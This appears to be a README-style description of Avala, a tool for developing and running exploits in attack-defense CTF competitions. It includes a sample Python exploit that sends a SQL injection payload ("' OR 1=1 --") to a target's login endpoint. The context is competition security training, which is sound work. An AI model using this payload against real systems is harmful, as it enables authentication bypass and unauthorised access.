Develop and run exploits rapidly in A/D

Avala is a specialized tool built for rapid developing, running and monitoring exploits in attack-defense CTF competitions. The goal of Avala is to take the technical burden off the team players, enabling them to focus on exploiting and patching vulnerabilities.

from avala import exploit
import json
import requests


@exploit(service="foobar")
def attack(target: str, flag_ids: str):
    url = f"http://{target}:5000/login"
    username = json.loads(flag_ids)["username"]

    payload = {"username": username, "password": "' OR 1=1 --"}
    response = requests.post(url, json=payload)

    return response.text

Development of Avala is heavily influenced by the practical experiences and valuable insights gathered by the Serbian National ECSC Team 🇷🇸, who use the tool in major A/D competitions such as European Cyber Security Challenge, FAUST CTF, ENOWARS, and more.

Documentation is available at lazicdusan.com/avala.